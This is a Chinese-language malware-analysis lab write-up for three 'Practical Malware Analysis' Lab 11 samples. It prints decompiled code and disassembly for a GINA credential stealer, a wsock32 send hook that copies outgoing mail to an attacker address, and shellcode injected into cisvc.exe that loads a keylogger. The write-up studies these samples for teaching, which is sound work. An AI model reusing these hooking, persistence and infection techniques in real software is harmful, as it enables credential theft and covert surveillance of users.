恶意代码分析实战 Lab11

Lab11-01

简要分析

程序的主要流程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int __cdecl main(int argc, const char **argv, const char **envp)
{
HMODULE hModule; // [esp+Ch] [ebp-11Ch]
CHAR Filename; // [esp+10h] [ebp-118h]
char v6; // [esp+11h] [ebp-117h]
char v7; // [esp+11Dh] [ebp-Bh]
char *v8; // [esp+120h] [ebp-8h]
LPVOID v9; // [esp+124h] [ebp-4h]

v9 = 0;
hModule = GetModuleHandleA(0);
Filename = 0;
memset(&v6, 0, 0x10Cu);
v7 = 0;
v9 = get_dll_401080(hModule); // //加载dll
GetModuleFileNameA(0, &Filename, 0x10Eu);
v8 = strrchr(&Filename, 92);
*v8 = 0;
strcat(&Filename, aMsgina32Dll_0);
set_reg_401000(&Filename, 0x104u); // 设置注册表
return 0;
}

get_dll_401080函数提取TGAD资源节的内容,然后复制为msgina32.dll:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
LPVOID __cdecl sub_401080(HMODULE hModule)
{
FILE *v2; // ST2C_4
HGLOBAL hResData; // [esp+8h] [ebp-18h]
HRSRC hResInfo; // [esp+Ch] [ebp-14h]
DWORD dwSize; // [esp+10h] [ebp-10h]
LPVOID v6; // [esp+14h] [ebp-Ch]
void *v7; // [esp+18h] [ebp-8h]

v6 = 0;
if ( !hModule )
return 0;
hResInfo = FindResourceA(hModule, lpName, lpType);// .data:00408030 lpType dd offset aBinary ; DATA XREF: get_dll_401080:loc_4010B8↑r
// .data:00408030 ; "BINARY"
// .data:00408034 ; LPCSTR lpName
// .data:00408034 lpName dd offset aTgad ; DATA XREF: get_dll_401080+3E↑r
// .data:00408034 ; "TGAD"
// .data:00408038 aTgad db 'TGAD',0 ; DATA XREF: .data:lpName↑o
// .data:0040803D align 10h
// .data:00408040 aBinary db 'BINARY',0 ; DATA XREF: .data:lpType↑o
// .data:00408047 align 4
// .data:00408048 aRi db 'RI',0Ah,0
if ( !hResInfo )
return 0;
hResData = LoadResource(hModule, hResInfo);
if ( hResData )
{
v7 = LockResource(hResData);
if ( v7 )
{
dwSize = SizeofResource(hModule, hResInfo);
if ( dwSize )
{
v6 = VirtualAlloc(0, dwSize, 0x1000u, 4u);
if ( v6 )
{
qmemcpy(v6, v7, dwSize);
v2 = fopen(aMsgina32Dll, aWb);
fwrite(v7, 1u, dwSize, v2);
fclose(v2);
print_401299(aDr);
}
}
}
}
if ( hResInfo )
FreeResource(hResInfo);
return v6;
}

set_reg_401000函数将msgina32.dll插入到SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL中,当系统重启Winlogon将加载msgina32.dll,可以怀疑该恶意代码使用GINA拦截技术来窃取用户凭证:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int __cdecl sub_401000(BYTE *lpData, DWORD cbData)
{
HKEY v2; // ecx
int result; // eax
HKEY phkResult; // [esp+0h] [ebp-4h]

phkResult = v2;
if ( RegCreateKeyExA(HKEY_LOCAL_MACHINE, SubKey, 0, 0, 0, 0xF003Fu, 0, &phkResult, 0) )
return 1;
if ( RegSetValueExA(phkResult, ValueName, 0, 1u, lpData, cbData) )
{
CloseHandle(phkResult);
result = 1;
}
else
{
print_401299(aRi);
CloseHandle(phkResult);
result = 0;
}
return result;
}

msgina32.dll的DLLMain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
BOOL result; // eax
WCHAR Buffer; // [esp+0h] [ebp-208h]

if ( fdwReason == 1 )
{
DisableThreadLibraryCalls(hinstDLL);
hModule = hinstDLL;
GetSystemDirectoryW(&Buffer, 0x104u);
lstrcatW(&Buffer, L"\\MSGina");
hLibModule = LoadLibraryW(&Buffer);
result = hLibModule != 0;
}
else
{
if ( !fdwReason )
{
if ( hLibModule )
FreeLibrary(hLibModule);
}
result = 1;
}
return result;
}

首先检查fdwReason是否为1,若为1则将系统中的msgina.dll的句柄,以此进行GINA拦截。

dll中其他的一些导出函数结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int WlxInitialize()
{
int (*v0)(void); // eax

v0 = sub_10001000(aWlxinitialize_0);
return v0();
}

int WlxIsLogoffOk()
{
int (*v0)(void); // eax

v0 = sub_10001000(aWlxislogoffok_0);
return v0();
}

int WlxNetworkProviderLoad()
{
int (*v0)(void); // eax

v0 = sub_10001000(aWlxnetworkprov_0);
return v0();
}

sub_10001000函数用于寻址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
FARPROC __stdcall sub_10001000(LPCSTR lpProcName)
{
FARPROC result; // eax
CHAR v2; // [esp+4h] [ebp-10h]

result = GetProcAddress(hLibModule, lpProcName);
if ( !result )
{
if ( !(lpProcName >> 16) )
wsprintfA(&v2, aD, lpProcName);
ExitProcess(0xFFFFFFFE);
}
return result;
}

基本都是首先劫持正确的函数,然后使用sub_10001000函数跳转到正确的函数去调用来保证劫持msgina.dll后系统正常运行。

这里的WlxLoggedOutSAS函数有其他的调用:

1
2
3
4
5
6
7
8
9
10
11
12
int __stdcall WlxLoggedOutSAS(int a1, int a2, int a3, int a4, int a5, int a6, _DWORD *a7, int a8)
{
FARPROC v8; // edi
int v9; // edi

v8 = sub_10001000(aWlxloggedoutsa_0);
operator new(0x64u);
v9 = (v8)(a1, a2, a3, a4, a5, a6, a7, a8);
if ( v9 == 1 && *a7 )
sub_10001570(0, aUnSDmSPwSOldS, *a7, a7[1], a7[2], a7[3]);
return v9;
}

sub_10001570函数使用传入WlxLoggedOutSAS的PWLX_MPR_NOTIFY_INFO作为参数,登陆的凭据以及时间日期写入到msutil32.sys文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
va_start(va, Format);
vsnwprintf(&Dest, 0x800u, Format, va);
result = wfopen(Filename, &Mode); // .data:100032F8 text "UTF-16LE", 'msutil32.sys',0
file_handle = result;
if ( result )
{
v4 = wstrtime(&Buffer);
v5 = wstrdate(&v8);
fwprintf(file_handle, ::Format, v5, v4, &Dest);
if ( dwMessageId )
{
FormatMessageW(0x1100u, 0, dwMessageId, 0x409u, v6, 0, 0);
fwprintf(file_handle, aErrorcodeDErro, dwMessageId, *v6);// .data:100032A0 text "UTF-16LE", 'ErrorCode:%d ErrorMessage:%s. ',0Ah,0
LocalFree(*v6);
result = fclose(file_handle);
}
else
{
fwprintf(file_handle, asc_1000329C);
result = fclose(file_handle);
}
}
return result;

Q1:这个恶意代码向磁盘释放了什么?

恶意代码从TGAD的资源节提取一个文件并命名为msgina32.dll,然后写入到系统中。

Q2:这个恶意代码如何进行驻留?

设置一个注册表的值:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL来保证每次开机都会加载dll。

Q3:这个恶意代码如何窃取用户登录凭证?

使用了GINA拦截技术,将msgina.dll劫持为msgina32.dll,当系统调用WlxLoggedOutSAS函数时,msgina32.dll在调用正常的WlxLoggedOutSAS后将用户凭证以及时间信息写入到C:\WINDOWS\system32\msutil32.sys中。

Q4:这个恶意代码对窃取的凭证做了什么处理?

将用户凭证以及时间信息写入到C:\WINDOWS\system32\msutil32.sys中。

Q5:如何在你的测试环境让这个恶意代码获得用户登录凭证?

运行恶意代码程序后重启,只要系统使用了WinLogon登录管理就会记录凭证。

Lab11-02

简要分析

dll的只有一个导出函数installer,该函数首先设施一个注册表的值SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_Dlls\spoolvxx32.dll,AppInit_Dlls注册表表明当系统使用User32.dll时加载的内容,所以当调用User32.dll时也会加载spoolvxx32.dll:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
.text:10001594                 push    eax             ; phkResult
.text:10001595 push 6 ; samDesired
.text:10001597 push 0 ; ulOptions
.text:10001599 push offset SubKey ; "SOFTWARE\\Microsoft\\Windows NT\\Curren"...
.text:1000159E push 80000002h ; hKey
.text:100015A3 call ds:RegOpenKeyExA
.text:100015A9 test eax, eax
.text:100015AB jnz short loc_100015DD
.text:100015AD push offset aSpoolvxx32Dll ; "spoolvxx32.dll"
.text:100015B2 call strlen
.text:100015B7 add esp, 4
.text:100015BA push eax ; cbData
.text:100015BB push offset Data ; "spoolvxx32.dll"
.text:100015C0 push 1 ; dwType
.text:100015C2 push 0 ; Reserved
.text:100015C4 push offset ValueName ; "AppInit_DLLs"
.text:100015C9 mov ecx, [ebp+phkResult]
.text:100015CC push ecx ; hKey
.text:100015CD call ds:RegSetValueExA
.text:100015D3 mov edx, [ebp+phkResult]
.text:100015D6 push edx ; hKey
.text:100015D7 call ds:RegCloseKey

然后将spoolvxx32.dll写入到系统目录中:

1
2
3
4
5
6
7
8
9
10
11
12
13
.text:100015DD                 call    get_sys_dir_1000105B
.text:100015E2 mov [ebp+Dest], eax
.text:100015E5 push 104h ; Count
.text:100015EA push offset aSpoolvxx32Dll_1 ; "\\spoolvxx32.dll"
.text:100015EF mov eax, [ebp+Dest]
.text:100015F2 push eax ; Dest
.text:100015F3 call strncat
.text:100015F8 add esp, 0Ch
.text:100015FB push 0 ; bFailIfExists
.text:100015FD mov ecx, [ebp+Dest]
.text:10001600 push ecx ; lpNewFileName
.text:10001601 push offset ExistingFileName ; lpExistingFileName
.text:10001606 call ds:CopyFileA

DllMain首先判断dll状态是否为DLL_PROCESS_ATTACH:

1
2
3
4
5
6
7
.text:10001610                 push    ebp
.text:10001611 mov ebp, esp
.text:10001613 sub esp, 0Ch
.text:10001616 mov eax, [ebp+hinstDLL]
.text:10001619 mov dword_100035A4, eax
.text:1000161E cmp [ebp+fdwReason], DLL_PROCESS_ATTACH
.text:10001622 jz short loc_10001629

然后在系统目录中打开Lab11-02.ini文件并读取到byte_100034A0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
.text:10001651                 call    get_sys_dir_1000105B
.text:10001656 mov [ebp+Dest], eax
.text:10001659 push 104h ; Count
.text:1000165E push offset aLab1102Ini ; "\\Lab11-02.ini"
.text:10001663 mov edx, [ebp+Dest]
.text:10001666 push edx ; Dest
.text:10001667 call strncat
.text:1000166C add esp, 0Ch
.text:1000166F push 0 ; hTemplateFile
.text:10001671 push 80h ; dwFlagsAndAttributes
.text:10001676 push 3 ; dwCreationDisposition
.text:10001678 push 0 ; lpSecurityAttributes
.text:1000167A push 1 ; dwShareMode
.text:1000167C push 80000000h ; dwDesiredAccess
.text:10001681 mov eax, [ebp+Dest]
.text:10001684 push eax ; lpFileName
.text:10001685 call ds:CreateFileA
.text:1000168B mov [ebp+hFile], eax
.text:1000168E cmp [ebp+hFile], 0FFFFFFFFh
.text:10001692 jz short loc_100016DE
.text:10001694 mov [ebp+NumberOfBytesRead], 0
.text:1000169B push 0 ; lpOverlapped
.text:1000169D lea ecx, [ebp+NumberOfBytesRead]
.text:100016A0 push ecx ; lpNumberOfBytesRead
.text:100016A1 push 100h ; nNumberOfBytesToRead
.text:100016A6 push offset byte_100034A0 ; lpBuffer
.text:100016AB mov edx, [ebp+hFile]
.text:100016AE push edx ; hFile
.text:100016AF call ds:ReadFile

将读取的内容进行处理:

1
2
.text:100016C5                 push    offset byte_100034A0
.text:100016CA call sub_100010B3

sub_100010B3函数将读取的内容中除了换行符和制表符的字符使用sub_10001097进行处理:

1
2
3
4
5
6
7
8
9
10
11
12
char *__cdecl sub_100010B3(char *a1)
{
char *v2; // [esp+0h] [ebp-4h]

v2 = a1;
while ( *a1 && *a1 != '\r' && *a1 != '\n' )
{
*a1 = sub_10001097(*a1, 50);
++a1;
}
return v2;
}

sub_10001097将读取的内容进行数学运算:

1
2
3
4
int __cdecl sub_10001097(char a1, unsigned __int8 a2)
{
return a1 ^ (666 * a2 >> 4);
}

将Lab11-02.ini中的内容按照上述逻辑解密得出”billy@malwareanalysisbook.com”:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include<iostream>
#include<cstring>
using namespace std;
char test(char a1,int a2) {
return a1 ^ (666 * a2 >> 4);
}
int main() {
char *ptr = "CHMMXaL@MV@SD@O@MXRHRCNNJBNL";
for (int i = 0; i < strlen(ptr); ++i) {
cout << test(ptr[i], 0x32);
}
cout << endl;
}

DllMain最后调用sub_100014B6(1)

1
2
3
4
.text:100016E0 loc_100016E0:                           ; CODE XREF: DllMain(x,x,x)+CC↑j
.text:100016E0 push 1
.text:100016E2 call sub_100014B6
.text:100016E7 add esp, 4

sub_100014B6首先进行获取进程名并进行比较,不符合则退出:

1
2
3
4
5
6
7
8
9
10
11
GetModuleFileName_10001075(0, &Buf1);
Buf1 = first92_10001104(Buf1);
...........
capslk_1000102D(Buf1);
v2 = strlen(aThebatExe); // THEBAT.EXE
if ( !memcmp(Buf1, aThebatExe_0, v2) // THEBAT.EXE
|| (v3 = strlen(aOutlookExe), !memcmp(Buf1, aOutlookExe_0, v3))
|| (v4 = strlen(aMsimnExe), !memcmp(Buf1, aMsimnExe_0, v4)) )
{
.........
}

判读成功首先挂起所有线程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
.text:10001555                 call    memcmp
.text:1000155A add esp, 0Ch
.text:1000155D test eax, eax
.text:1000155F jnz short loc_10001587
.text:10001561
.text:10001561 loc_10001561: ; CODE XREF: hook_installer_100014B6+63↑j
.text:10001561 ; hook_installer_100014B6+86↑j
.text:10001561 call suspend_thread_100013BD
.text:100013BD push ebp
.text:100013BE mov ebp, esp
.text:100013C0 push ecx
.text:100013C1 call ds:GetCurrentProcessId
.text:100013C7 mov [ebp+var_4], eax
.text:100013CA mov eax, [ebp+var_4]
.text:100013CD push eax
.text:100013CE call suspend_thread_100012FE
.text:100013D3 add esp, 4
.text:100013D6 mov esp, ebp
.text:100013D8 pop ebp
.text:100013D9 retn

然后进行send函数的hook。

首先获得wsock32.dll的句柄:

1
2
result = GetModuleHandleA(wsock32);
hModule = result;

获取成功获得地址并进行hook:

1
2
3
result = GetProcAddress(wsock32_Module, send);
if ( result )
result = hook_10001203(result, a3, a4);

hook的函数首先计算send函数与sub_1000113D函数的距离,这里的5个字节作覆盖send的内容:

1
2
3
4
5
6
7
.text:10001203                 push    ebp
.text:10001204 mov ebp, esp
.text:10001206 sub esp, 0Ch
.text:10001209 mov eax, [ebp+arg_4]
.text:1000120C sub eax, [ebp+send_addr]
.text:1000120F sub eax, 5
.text:10001212 mov [ebp+gap], eax

修改内存的读写执行权限:

1
2
.text:10001220                 push    edx             ; lpAddress
.text:10001221 call ds:VirtualProtect

分配0xFF内存作为跳板:

1
2
3
4
.text:10001227                 push    0FFh            ; Size
.text:1000122C call malloc
.text:10001231 add esp, 4
.text:10001234 mov [ebp+trampoline], eax

复制5字节指令到跳板中:

1
2
3
4
5
6
7
.text:10001246                 push    5               ; Size
.text:10001248 mov eax, [ebp+send_addr]
.text:1000124B push eax ; Src
.text:1000124C mov ecx, [ebp+trampoline]
.text:1000124F add ecx, 5
.text:10001252 push ecx ; Dst
.text:10001253 call memcpy`

添加jmp指令:

1
2
3
4
5
6
7
8
.text:10001258                 add     esp, 0Ch
.text:1000125B mov edx, [ebp+trampoline]
.text:1000125E mov byte ptr [edx+0Ah], 0E9h
.text:10001262 mov eax, [ebp+send_addr]
.text:10001265 sub eax, [ebp+trampoline]
.text:10001268 sub eax, 0Ah
.text:1000126B mov ecx, [ebp+trampoline]
.text:1000126E mov [ecx+0Bh], eax

最后将跳板地址给传入的参数:

1
2
3
.text:1000129A                 mov     eax, [ebp+arg_8]
.text:1000129D mov [eax], edx
.text:1000129F mov esp, ebp

sub_1000113D函数是跳板首先要去的函数。

sub_1000113D函数首先判断send的字符串中是否有”RCPT TO:”的字符串,即调用send的方法是否为一个SMTP协议的方法:

1
2
3
4
5
6
7
8
9
10
if ( strstr(Str, SubStr) )                    // RCPT TO:
{
v4 = strlen(::Str);
memcpy(Dst, aRcptTo_1, v4);
v5 = strlen(aRcptTo_2);
memcpy(&Dst[v5], email_address_100034A0, 0x101u);
strcat(Dst, Source);
v6 = strlen(Dst);
trampoline_10003484(a1, Dst, v6, a4);
}

然后会向先前解密得到的地址”billy@malwareanalysisbook.com”发送send发送的邮件。

然后调用跳板指令调用正确的send函数:

1
return trampoline_10003484(a1, Str, a3, a4);

这个恶意DLL导出了什么?

导出了一个installer函数,用于设置注册表使得恶意代码常驻。

使用run32dll.exe来安装这个恶意代码之后,发生了什么?

将自身dll复制到system32\spoolvxx32.dll,并设置注册表中的AppInit_Dlls值来保持常驻。

为了使这个恶意代码正确安装,Lab11-02.ini必须放置在何处?

放在系统目录C:\WINDOWS\system32\。

这个安装的恶意代码如何驻留?

注册表中的AppInit_Dlls值使得系统调用User32.dll时会加载spoolvxx32.dll来保持驻留。

这个恶意代码采用的用户态Rootkit技术是什么?

使用hook技术在系统调用 wsock32.dll中的send函数之前插入一段指令。

挂钩代码做了什么?

会检查出系统向外发出的带有”RCPT TO:”的数据包,将数据包发送给”billy@malwareanalysisbook.com”。

哪个或者哪些进程执行了这个恶意攻击,为什么?

针对了MSIMN.exe,THEBAT.exe,OUTLOOK.exe,因为它们都是电子邮箱客户端程序。

ini文件的意义是什么?

包含了一个加密的恶意电子邮箱地址:”billy@malwareanalysisbook.com”。

你怎样用WireShark动态抓获这个恶意代码的行为?

监听网卡后过滤出SMTP协议相关的包即可。

Lab11-03

简要分析

Lab11-03.exe的main函数结果如下:

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
CHAR FileName; // [esp+0h] [ebp-104h]

CopyFileA(ExistingFileName, NewFileName, 0);
sprintf(&FileName, aCWindowsSystem_0, aCisvcExe);
write_shellcode_401070(&FileName);
system(aNetStartCisvc);
return 0;
}

首先复制Lab11-03.dll到系统目录中:

1
2
3
.text:004012DB                 push    offset NewFileName ; "C:\\WINDOWS\\System32\\inet_epar32.dll"
.text:004012E0 push offset ExistingFileName ; "Lab11-03.dll"
.text:004012E5 call ds:CopyFileA

创建一个字符串”C:\WINDOWS\System32\cisvc.exe”:

1
2
3
4
5
.text:004012EB                 push    offset aCisvcExe ; "cisvc.exe"
.text:004012F0 push offset aCWindowsSystem_0 ; "C:\\WINDOWS\\System32\\%s"
.text:004012F5 lea eax, [ebp+FileName]
.text:004012FB push eax ; char *
.text:004012FC call _sprintf

然后是修改cisvc.exe的操作:

1
2
.text:0040130A                 push    ecx             ; lpFileName
.text:0040130B call write_shellcode_401070

write_shellcode_401070首先打开cisvc.exe:

1
2
3
4
5
6
7
8
9
10
11
12
.text:0040107F                 push    0               ; hTemplateFile
.text:00401081 push 80h ; dwFlagsAndAttributes
.text:00401086 push 4 ; dwCreationDisposition
.text:00401088 push 0 ; lpSecurityAttributes
.text:0040108A push 1 ; dwShareMode
.text:0040108C push 0C0000000h ; dwDesiredAccess
.text:00401091 mov eax, [ebp+lpFileName]
.text:00401094 push eax ; lpFileName
.text:00401095 call ds:CreateFileA
.text:0040109B mov [ebp+hFile], eax
.text:0040109E cmp [ebp+hFile], 0FFFFFFFFh
.text:004010A2 jnz short get_handle_4010AC

获取程序的句柄:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
.text:004010AC get_handle_4010AC:                      ; CODE XREF: write_shellcode_401070+32↑j
.text:004010AC push 0 ; lpFileSizeHigh
.text:004010AE mov ecx, [ebp+hFile]
.text:004010B1 push ecx ; hFile
.text:004010B2 call ds:GetFileSize
.text:004010B8 mov [ebp+dwMaximumSizeLow], eax
.text:004010BB push 0 ; lpName
.text:004010BD mov edx, [ebp+dwMaximumSizeLow]
.text:004010C0 push edx ; dwMaximumSizeLow
.text:004010C1 push 0 ; dwMaximumSizeHigh
.text:004010C3 push 4 ; flProtect
.text:004010C5 push 0 ; lpFileMappingAttributes
.text:004010C7 mov eax, [ebp+hFile]
.text:004010CA push eax ; hFile
.text:004010CB call ds:CreateFileMappingA
.text:004010D1 mov [ebp+hFileMappingObject], eax
.text:004010D4 cmp [ebp+hFileMappingObject], 0FFFFFFFFh
.text:004010D8 jnz short loc_4010EC
.text:004010DA mov ecx, [ebp+hFile]
.text:004010DD push ecx ; hObject
.text:004010DE call ds:CloseHandle
.text:004010E4 or eax, 0FFFFFFFFh
.text:004010E7 jmp exit_4012C5

设置读写权限:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
.text:004010EC set_permission_4010EC:                  ; CODE XREF: write_shellcode_401070+68↑j
.text:004010EC mov edx, [ebp+dwMaximumSizeLow]
.text:004010EF push edx ; dwNumberOfBytesToMap
.text:004010F0 push 0 ; dwFileOffsetLow
.text:004010F2 push 0 ; dwFileOffsetHigh
.text:004010F4 push 6 ; dwDesiredAccess
.text:004010F6 mov eax, [ebp+hFileMappingObject]
.text:004010F9 push eax ; hFileMappingObject
.text:004010FA call ds:MapViewOfFile
.text:00401100 mov [ebp+lpBaseAddress], eax
.text:00401103 cmp [ebp+lpBaseAddress], 0
.text:00401107 jnz short loc_40112F
.text:00401109 mov ecx, [ebp+hFile]
.text:0040110C push ecx ; hObject
.text:0040110D call ds:CloseHandle
.text:00401113 mov edx, [ebp+hFileMappingObject]
.text:00401116 push edx ; hObject
.text:00401117 call ds:CloseHandle
.text:0040111D mov eax, [ebp+lpBaseAddress]
.text:00401120 push eax ; lpBaseAddress
.text:00401121 call ds:UnmapViewOfFile
.text:00401127 or eax, 0FFFFFFFFh
.text:0040112A jmp exit_4012C5

修改cisvc.exe:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
if ( (v6[4] - v6[2]) >= 0x13A )
{
v3 = v6[2] + v6[5];
for ( i = 0; i < 314; ++i )
{
if ( *(&loc_409030 + i) == 0x78
&& *(&loc_409030 + i + 1) == 0x56
&& *(&loc_409030 + i + 2) == 0x34
&& *(&loc_409030 + i + 3) == 0x12 )
{
*(&loc_409030 + i) = v6[5] + *(v4 + 40) - *(v4 + 44) - (v3 + i + 4);
break;
}
}
qmemcpy(cisvc_addr + v3, &loc_409030, 0x13Au);
*(v4 + 40) = *(v4 + 44) + v3 - v6[5];
CloseHandle(hFile);
CloseHandle(hFileMappingObject);
UnmapViewOfFile(cisvc_addr);
result = 0;
}

添加内容的起始:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
.data:00409030 loc_409030:                             ; DATA XREF: write_shellcode_401070+19D↑r
.data:00409030 ; write_shellcode_401070+1FF↑w ...
.data:00409030 push ebp
.data:00409031 mov ebp, esp ; DATA XREF: write_shellcode_401070+1AD↑r
.data:00409031 ; write_shellcode_401070+1BD↑r
.data:00409033 sub esp, 40h ; DATA XREF: write_shellcode_401070+1CD↑r
.data:00409039 jmp loc_409134
.data:00409134 loc_409134: ; CODE XREF: .data:00409039↑j
.data:00409134 call sub_4090DD
.data:004090DD sub_4090DD proc near ; CODE XREF: .data:loc_409134↓p
.data:004090DD pop ebx
.data:004090DE call sub_4090BC
.data:004090E3 mov edx, eax
.data:004090E5 push 753A4FCh
.data:004090EA push edx
.data:004090EB call sub_40905F
.data:004090F0 mov [ebp-4], eax
.data:004090F3 push 7C0DFCAAh
.data:004090F8 push edx
.data:004090F9 call sub_40905F
.data:004090FE mov [ebp-0Ch], eax
.data:00409101 lea eax, [ebx+0]
.data:00409107 push 0
.data:0040910C push 0
.data:00409111 push eax
.data:00409112 call dword ptr [ebp-4]
.data:00409115 mov [ebp-10h], eax
.data:00409118 lea eax, [ebx+24h]
.data:0040911E push eax
.data:0040911F mov eax, [ebp-10h]
.data:00409122 push eax
.data:00409123 call dword ptr [ebp-0Ch]
.data:00409126 mov [ebp-8], eax
.data:00409129 call dword ptr [ebp-8]
.data:0040912C mov esp, ebp
.data:0040912E pop ebp
.data:0040912F jmp near ptr 1274E7ACh
.data:0040912F sub_4090DD endp

修改后的cisvc.exe的首先会调用一个函数:

1
2
3
4
5
.text:01001AF9 8D 83 00 00 00 00                       lea     eax, [ebx+0]
.text:01001AFF 68 00 00 00 00 push 0
.text:01001B04 68 00 00 00 00 push 0
.text:01001B09 50 push eax
.text:01001B0A FF 55 FC call dword ptr [ebp-4]

动态调试下:

1
2
3
4
01001AFF   .  68 00000000   push 0x0
01001B04 . 68 00000000 push 0x0
01001B09 . 50 push eax ; cisvc.01001B31
01001B0A . FF55 FC call dword ptr ss:[ebp-0x4] ; kernel32.LoadLibraryExA

即:

1
LoadLibraryExA(cisvc.01001B31,0,0);

此时cisvc.01001B31C:\WINDOWS\System32\inet_epar32.dll

1
2
3
4
5
6
01001B31  43 3A 5C 57 49 4E 44 4F  C:\WINDO
01001B39 57 53 5C 53 79 73 74 65 WS\Syste
01001B41 6D 33 32 5C 69 6E 65 74 m32\inet
01001B49 5F 65 70 61 72 33 32 2E _epar32.
01001B51 64 6C 6C 00 7A 7A 7A 36 dll.zzz6
01001B59 39 38 30 36 35 38 32 9806582

用于加载Lab11-03.dll复制inet_epar32.dll。

然后获取inet_epar32.dll中的函数zzz69806582并调用:

1
2
3
4
5
6
01001B16   .  50            push eax                                 ;  inet_epa.zzz69806582
01001B17 . 8B45 F0 mov eax,dword ptr ss:[ebp-0x10] ; inet_epa.10000000
01001B1A . 50 push eax ; inet_epa.zzz69806582
01001B1B . FF55 F4 call dword ptr ss:[ebp-0xC] ; kernel32.GetProcAddress
01001B1E . 8945 F8 mov dword ptr ss:[ebp-0x8],eax ; inet_epa.zzz69806582
01001B21 . FF55 F8 call dword ptr ss:[ebp-0x8] ; inet_epa.zzz69806582

Lab11-03.exe修改完cisvc后启动该服务:

1
2
3
.text:00401310 83 C4 04                                add     esp, 4
.text:00401313 68 74 91 40 00 push offset aNetStartCisvc ; "net start cisvc"
.text:00401318 E8 9F 00 00 00 call _system

Lab11-03.dll中的zzz69806582函数首先创建一个线程调用一个函数:

1
2
3
4
.text:10001544                 push    0               ; lpThreadId
.text:10001546 push 0 ; dwCreationFlags
.text:10001548 push 0 ; lpParameter
.text:1000154A push offset StartAddress_oneinstance ; lpStartAddress

StartAddress_oneinstance函数首先创建一个互斥量以确保只有一个实例运行:

1
2
3
4
5
6
7
8
9
.text:10001475                 push    offset Name     ; "MZ"
.text:1000147A push 0 ; bInheritHandle
.text:1000147C push 1F0001h ; dwDesiredAccess
.text:10001481 call ds:OpenMutexA
..................
.text:1000149D push offset Name ; "MZ"
.text:100014A2 push 1 ; bInitialOwner
.text:100014A4 push 0 ; lpMutexAttributes
.text:100014A6 call ds:CreateMutexA

创建一个C:\WINDOWS\System32\kernel64x.dll文件:

1
2
3
4
5
6
7
8
.text:100014BD                 push    0               ; hTemplateFile
.text:100014BF push 80h ; dwFlagsAndAttributes
.text:100014C4 push 4 ; dwCreationDisposition
.text:100014C6 push 0 ; lpSecurityAttributes
.text:100014C8 push 1 ; dwShareMode
.text:100014CA push 0C0000000h ; dwDesiredAccess
.text:100014CF push offset FileName ; "C:\\WINDOWS\\System32\\kernel64x.dll"
.text:100014D4 call ds:CreateFileA

关键函数get_input_10001380用于击键记录:

1
2
.text:1000150D                 push    edx
.text:1000150E call get_input_10001380

kernel64x.dll中存放的即为记录的输入内容:

Q1:使用基础静态分析过程,你可以发现什么有趣的线索?

lab11-03.exe包含以下一些字符串:

1
2
3
4
5
6
7
8
9
10
11
12
13
.rdata:004084F8	00000013	C	GetLastActivePopup
.rdata:0040850C 00000010 C GetActiveWindow
.rdata:0040851C 0000000C C MessageBoxA
.rdata:00408528 0000000B C user32.dll
.rdata:004086EE 0000000D C KERNEL32.dll
.data:00409139 00000024 C C:\\WINDOWS\\System32\\inet_epar32.dll
.data:0040915D 0000000C C zzz69806582
.data:0040916C 00000006 C .text
.data:00409174 00000010 C net start cisvc
.data:00409184 00000017 C C:\\WINDOWS\\System32\\%s
.data:0040919C 0000000A C cisvc.exe
.data:004091A8 0000000D C Lab11-03.dll
.data:004091B8 00000024 C C:\\WINDOWS\\System32\\inet_epar32.dll

说明该程序可能会修改cisvc.exe,使用Lab11-03.dll,创建C:\WINDOWS\System32\inet_epar32.dll。

lab11-03.dll导入以下一些函数:

1
2
100070F8		GetAsyncKeyState	USER32
100070F0 GetForegroundWindow USER32

说明该dll可能包含击键记录器的功能。

Q2:当运行这个代码的时,发生了什么?

恶意代码将Lab11-03.dll复制为C:\WINDOWS\System32\inet_epar32.dll,修改了cisvc.exe,开启了cisvc功能,并通过dll的zzz69806582来记录键盘输入到C:\WINDOWS\System32\kernel64x.dll。

Q3:Lab11-03.exe如何安装Lab11-03.dll使其长期驻留?

将Lab11-03.dll复制为C:\WINDOWS\System32\inet_epar32.dll,然后通过修改系统的cisvc.exe程序,并开启cisvc服务来保持Lab11-03.dll常驻。

Q4:这个恶意代码感染Windows系统的哪个文件?

感染了C:\WINDOWS\System32\cisvc.exe。

Q5:Lab11-03.dll做了什么?

记录键盘和窗口输入,并保存在C:\WINDOWS\System32\kernel64x.dll中。

Q6:这个恶意代码将收集的数据存放在何处?

保存在C:\WINDOWS\System32\kernel64x.dll中。